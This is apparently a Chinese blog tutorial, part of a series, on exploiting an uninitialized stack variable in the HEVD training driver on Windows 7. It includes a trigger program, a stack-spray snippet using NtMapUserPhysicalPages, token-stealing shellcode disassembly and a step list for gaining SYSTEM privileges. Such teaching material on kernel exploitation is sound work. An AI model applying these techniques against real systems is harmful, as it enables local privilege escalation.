Windows Kernel Exploit(六) -> Uninitialized-Stack-Variable

thund**** / 2019-07-27 09:35:00 / 浏览数 3760 安全技术 二进制安全 顶(1) 踩(0)

0x00：前言

这是 Windows kernel exploit
系列的第六部分，前一篇我们讲了空指针解引用，这一篇我们讲内核未初始化栈利用，这篇虽然是内核栈的利用，与前面不同的是，这里需要引入一个新利用手法 => 栈喷射，需要你对内核栈和用户栈理解的比较深入，看此文章之前你需要有以下准备：

- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具，建议配合VirtualKD使用
- HEVD+OSR Loader配合构造漏洞环境

传送门：

[+] Windows Kernel Exploit(一) -> UAF

[+] Windows Kernel Exploit(二) -> StackOverflow

[+] Windows Kernel Exploit(三) -> Write-What-Where

[+] Windows Kernel Exploit(四) -> PoolOverflow

[+] Windows Kernel Exploit(五) -> Null-Pointer-Dereference

0x01：漏洞原理

未初始化栈变量

我们还是先用IDA分析`HEVD.sys`，找到相应的函数`TriggerUninitializedStackVariable`

```
int __stdcall TriggerUninitializedStackVariable(void *UserBuffer)
{
 int UserValue; // esi
 _UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
 CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]

 ms_exc.registration.TryLevel = 0;
 ProbeForRead(UserBuffer, 0xF0u, 4u);
 UserValue = *(_DWORD *)UserBuffer;
 DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
 DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
 if ( UserValue == 0xBAD0B0B0 )
 {
   UninitializedStackVariable.Value = 0xBAD0B0B0;
   UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
 }
 DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
 DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
 DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
 if ( UninitializedStackVariable.Callback )
   UninitializedStackVariable.Callback();
 return 0;
}
```

我们仔细分析一下，首先函数将一个值设为0，`ms_exc`原型如下，它其实就是一个异常处理机制(预示着下面肯定要出异常)，然后我们还是将传入的`UserBuffer`和0xBAD0B0B0
比较，如果相等的话就给`UninitializedStackVariable`函数的一些参数赋值，后面又判断了回调函数的存在性，最后调用回调函数，也就是说，我们传入的值不同的话

```
typedef struct CPPEH_RECORD
{
   DWORD old_esp;  //ESP
   DWORD exc_ptr;  //GetExceptionInformation return value
   DWORD prev_er;  //prev _EXCEPTION_REGISTRATION_RECORD
   DWORD handler;  //Handler
```

```
   DWORD msEH_ptr; //Scopetable
   DWORD disabled; //TryLevel
}CPPEH_RECORD,*PCPPEH_RECORD;
```

我们来看一下源码里是如何介绍的，显而易见，一个初始化将UninitializedMemory置为了NULL，而另一个没有，要清楚的是我们现在看的是内核的漏洞，与用户模式并

```
#ifdef SECURE
   //
   // Secure Note: This is secure because the developer is properly initializing
   // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
   // the callback
   //

   UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
   //
   // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
   // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
   // before calling the callback when 'MagicValue' does not match 'UserValue'
   //

   UNINITIALIZED_MEMORY_STACK UninitializedMemory;
```

0x02：漏洞利用

控制码

我们还是从控制码入手，在HackSysExtremeVulnerableDriver.h中定位到相应的定义

```
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                   IOCTL(0x80B)
```

然后我们用python计算一下控制码

```
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'
```

我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码

```
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
   // Get HANDLE
   hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
       GENERIC_READ | GENERIC_WRITE,
       NULL,
       NULL,
       OPEN_EXISTING,
       NULL,
       NULL);

   printf("[+]Start to get HANDLE...\n");
   if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
   {
       return FALSE;
   }
   printf("[+]Success to get HANDLE!\n");
   return TRUE;
}

VOID Trigger_shellcode()
{
   DWORD bReturn = 0;
   char buf[4] = { 0 };
   *(PDWORD32)(buf) = 0xBAD0B0B0+1;
```

```
   DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

   if (init() == FALSE)
   {
       printf("[+]Failed to get HANDLE!!!\n");
       system("pause");
       return 0;
   }

   Trigger_shellcode();

   return 0;
}
```

这里我们打印的信息如下，可以看到对UninitializedStackVariable的一些对象进行了正确的赋值

```
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8E99B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8D6A3EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
```

我们尝试传入不同的值

```
VOID Trigger_shellcode()
{
   DWORD bReturn = 0;
   char buf[4] = { 0 };
   *(PDWORD32)(buf) = 0xBAD0B0B0+1;

   DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
```

运行效果如下，因为有异常处理机制，所以这里并不会蓝屏

```
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x97E789C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
```

我们在HEVD!TriggerUninitializedStackVariable+0x8c比较处下断点运行查看

```
1: kd> u 8D6A3F86
HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
8d6a3f8c 7429            je      HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f8e ff95f8feffff    call    dword ptr [ebp-108h]
8d6a3f94 eb21            jmp     HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f96 8b45ec          mov     eax,dword ptr [ebp-14h]
8d6a3f99 8b00            mov     eax,dword ptr [eax]
8d6a3f9b 8b00            mov     eax,dword ptr [eax]
8d6a3f9d 8945e4          mov     dword ptr [ebp-1Ch],eax
1: kd> ba e1 8D6A3F86
```

我们断下来之后用dps esp可以看到我们的 Value 和 Callback ，单步几次观察，可以发现确实已经被SEH异常处理所接手

```
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x8FB049C8
[+] UninitializedStackVariable.Value: 0x00000002
```

```
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
HEVD!TriggerUninitializedStackVariable+0x8c:
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
3: kd> dps esp
8fb049b8  02da71d7
8fb049bc  88b88460
8fb049c0  88b884d0
8fb049c4  8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string'
8fb049c8  00000002 => UninitializedStackVariable.Value
8fb049cc  00000000 => UninitializedStackVariable.Callback
8fb049d0  8684e1b8
8fb049d4  00000002
8fb049d8  8fb049e8
8fb049dc  84218ba9 hal!KfLowerIrql+0x61
8fb049e0  00000000
8fb049e4  00000000
8fb049e8  8fb04a20
8fb049ec  83e7f68b nt!KiSwapThread+0x254
8fb049f0  8684e1b8
8fb049f4  83f2ff08 nt!KiInitialPCR+0x3308
8fb049f8  83f2cd20 nt!KiInitialPCR+0x120
8fb049fc  00000001
8fb04a00  00000000
8fb04a04  8684e1b8
8fb04a08  8684e1b8
8fb04a0c  00000f8e
8fb04a10  c0802000
8fb04a14  8fb04a40
8fb04a18  83e66654 nt!MiUpdateWsle+0x231
8fb04a1c  7606a001
8fb04a20  00000322
8fb04a24  00000129
8fb04a28  00000129
8fb04a2c  86c08220
8fb04a30  00000000
8fb04a34  8670f1b8
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
8d6a3fb7 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
8d6a3fbe 8bc7            mov     eax,edi
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
8d6a3fc0 e894c0ffff      call    HEVD!__SEH_epilog4 (8d6a0059)
```

栈喷射(Stack Spray)

因为程序中会调用回调函数，所以我们希望的是把回调函数设置为我们shellcode的位置，其实如果这里不对回调函数进行验证是否为0，我们可以考虑直接在0页构造我们的

```
#endif

       //
       // Call the callback function
       //

       if (UninitializedMemory.Callback)
       {
           UninitializedMemory.Callback();
       }
```

我们需要把回调函数的位置修改成不为0的地址，并且地址指向的是我们的shellcode，这里就需要用到一个新的方法，栈喷射，j00ru师傅的文章很详细的讲解了这个机制，

```
#define COPY_STACK_SIZE             1024

NTSTATUS
NtMapUserPhysicalPages (
```

```
  __in PVOID VirtualAddress,
  __in ULONG_PTR NumberOfPages,
  __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(...)
 ULONG_PTR StackArray[COPY_STACK_SIZE];
```

因为COPY_STACK_SIZE的大小是1024，函数的栈最大也就 4096byte ，所以我们只需要传 1024 * 4 = 4096
的大小就可以占满一页内存了，当然我们传的都是我们的shellcode的位置

```
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);

printf("[+]Spray address is 0x%p\n", StackSpray);

for (int i = 0; i < 1024; i++)
{
   *(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}

NtMapUserPhysicalPages(NULL, 0x400, StackSpray);
```

我们来看看我们完整的exp的运行情况，我们还是在刚才的地方下断点，可以清楚的看到我们的shellcode已经被喷上去了

```
0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi
2: kd> dd 0x92E2F9C8 // ■■■■■■
92e2f9c8  00931040 00931040 00931040 00931040
92e2f9d8  00931040 00931040 00931040 00931040
92e2f9e8  00931040 00931040 00931040 00931040
92e2f9f8  00931040 00931040 00931040 00931040
92e2fa08  00931040 00931040 c0802000 92e2fa40
92e2fa18  83e66654 7606a001 00000322 000000da
92e2fa28  000000da 866cc220 00000000 00931040
92e2fa38  00000005 c0802d08 92e2fa74 83e656cc
2: kd> u 00931040 // ■■■■■■■■shellcode
00931040 53              push    ebx
00931041 56              push    esi
00931042 57              push    edi
00931043 60              pushad
00931044 64a124010000    mov     eax,dword ptr fs:[00000124h]
0093104a 8b4050          mov     eax,dword ptr [eax+50h]
0093104d 8bc8            mov     ecx,eax
0093104f ba04000000      mov     edx,4
```

最后我们整合一下代码就可以提权了，总结一下步骤

- 初始化句柄等结构
- 将我们准备喷射的栈用Shellcode填满
- 调用NtMapUserPhysicalPages进行喷射
- 调用TriggerUninitializedStackVariable函数触发漏洞
- 调用cmd提权

提权效果如下，详细的代码参考这里

0x03：后记

这个漏洞利用的情况比较苛刻，但是挺有意思的，也是第一次见栈喷射，还是从j00ru的文章中学到了许多新奇的东西，多看看国外的文档自己的英语水平也慢慢好起来了，

上一篇：Capstone反汇编引擎数据类型... 下一篇：PHPCMS漏洞分析合集(下)

1. 0 条回复
   - 动动手指，沙发就是你的了！